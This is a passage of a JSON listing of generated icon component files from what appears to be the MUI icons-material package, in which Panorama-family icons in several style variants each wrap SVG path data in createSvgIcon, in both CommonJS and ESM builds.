    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 18V6c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2M8.5 12.5l2.5 3.01L14.5 11l4.5 6H5z\"\n}), 'Panorama');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEye.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEye');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEye.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEye');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEyeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEyeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEyeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEyeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEyeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'PanoramaFishEyeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'PanoramaFishEyeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaFishEyeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'PanoramaFishEyeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6.54v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontal');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6.54v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontal');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6.54v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6.54v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6.54v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6.54v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontalSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63\"\n}), 'PanoramaHorizontalSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.17-1.31-.95-2.03.68-4.83 1.45-8.69 1.45\"\n}), 'PanoramaHorizontalSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.17-1.31-.95-2.03.68-4.83 1.45-8.69 1.45\"\n}), 'PanoramaHorizontalSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.17-1.31-.95-2.03.68-4.83 1.45-8.69 1.45\"\n}), 'PanoramaHorizontalSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.17-1.31-.95-2.03.68-4.83 1.45-8.69 1.45\"\n}), 'PanoramaHorizontalSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.5c-5.25 0-9.01-1.54-10-1.92V20.4c2.16-.76 5.21-1.9 10-1.9 4.78 0 7.91 1.17 10 1.9V3.6c-2.09.73-5.23 1.9-10 1.9\"\n}), 'PanoramaHorizontalSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.5c-5.25 0-9.01-1.54-10-1.92V20.4c2.16-.76 5.21-1.9 10-1.9 4.78 0 7.91 1.17 10 1.9V3.6c-2.09.73-5.23 1.9-10 1.9\"\n}), 'PanoramaHorizontalSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6.38v11.25c2.01-.59 4.61-1.13 8-1.13 3.38 0 5.99.54 8 1.13V6.37c-2.01.59-4.62 1.13-8 1.13-2.68 0-5.42-.39-8-1.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.01 4C20.45 4 17.4 5.5 12 5.5c-5.31 0-8.49-1.49-9.01-1.49-.53 0-.99.44-.99 1.01V19c0 .57.46 1 .99 1 .57 0 3.55-1.5 9.01-1.5 5.42 0 8.44 1.5 9.01 1.5.53 0 .99-.43.99-1V5c0-.57-.46-1-.99-1M20 17.63c-2.01-.59-4.62-1.13-8-1.13-3.39 0-5.99.54-8 1.13V6.38c2.58.73 5.32 1.12 8 1.12 3.38 0 5.99-.54 8-1.13z\"\n}, \"1\")], 'PanoramaHorizontalSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6.38v11.25c2.01-.59 4.61-1.13 8-1.13 3.38 0 5.99.54 8 1.13V6.37c-2.01.59-4.62 1.13-8 1.13-2.68 0-5.42-.39-8-1.12\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.01 4C20.45 4 17.4 5.5 12 5.5c-5.31 0-8.49-1.49-9.01-1.49-.53 0-.99.44-.99 1.01V19c0 .57.46 1 .99 1 .57 0 3.55-1.5 9.01-1.5 5.42 0 8.44 1.5 9.01 1.5.53 0 .99-.43.99-1V5c0-.57-.46-1-.99-1M20 17.63c-2.01-.59-4.62-1.13-8-1.13-3.39 0-5.99.54-8 1.13V6.38c2.58.73 5.32 1.12 8 1.12 3.38 0 5.99-.54 8-1.13z\"\n}, \"1\")], 'PanoramaHorizontalSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6.55c2.6.77 5.28 1.16 8 1.16s5.41-.39 8-1.16v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.41.39-8 1.16zM2 3.77v16.47s.77-.26.88-.3C5.82 18.85 8.91 18.3 12 18.3s6.18.55 9.12 1.64c.11.04.88.3.88.3V3.77s-.77.26-.88.3C18.18 5.15 15.09 5.71 12 5.71s-6.18-.56-9.12-1.64c-.11-.05-.88-.3-.88-.3\"\n}), 'PanoramaHorizontalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6.55c2.6.77 5.28 1.16 8 1.16s5.41-.39 8-1.16v10.91c-2.6-.77-5.28-1.16-8-1.16s-5.41.39-8 1.16zM2 3.77v16.47s.77-.26.88-.3C5.82 18.85 8.91 18.3 12 18.3s6.18.55 9.12 1.64c.11.04.88.3.88.3V3.77s-.77.26-.88.3C18.18 5.15 15.09 5.71 12 5.71s-6.18-.56-9.12-1.64c-.11-.05-.88-.3-.88-.3\"\n}), 'PanoramaHorizontalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6.54v10.91c2.6-.77 5.28-1.16 8-1.16s5.4.39 8 1.16V6.54c-2.6.78-5.28 1.17-8 1.16-2.72 0-5.4-.39-8-1.16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63M20 17.45c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16z\"\n}, \"1\")], 'PanoramaHorizontalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaHorizontalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6.54v10.91c2.6-.77 5.28-1.16 8-1.16s5.4.39 8 1.16V6.54c-2.6.78-5.28 1.17-8 1.16-2.72 0-5.4-.39-8-1.16\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.43 4c-.1 0-.2.02-.31.06C18.18 5.16 15.09 5.7 12 5.7s-6.18-.55-9.12-1.64C2.77 4.02 2.66 4 2.57 4c-.34 0-.57.23-.57.63v14.75c0 .39.23.62.57.62.1 0 .2-.02.31-.06 2.94-1.1 6.03-1.64 9.12-1.64s6.18.55 9.12 1.64c.11.04.21.06.31.06.33 0 .57-.23.57-.63V4.63c0-.4-.24-.63-.57-.63M20 17.45c-2.6-.77-5.28-1.16-8-1.16s-5.4.39-8 1.16V6.54c2.6.77 5.28 1.16 8 1.16 2.72.01 5.4-.38 8-1.16z\"\n}, \"1\")], 'PanoramaHorizontalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H3V6h18zm-6.5-7L11 15.51 8.5 12.5 5 17h14z\"\n}), 'PanoramaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H3V6h18zm-6.5-7L11 15.51 8.5 12.5 5 17h14z\"\n}), 'PanoramaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PanoramaPhotosphere.js",
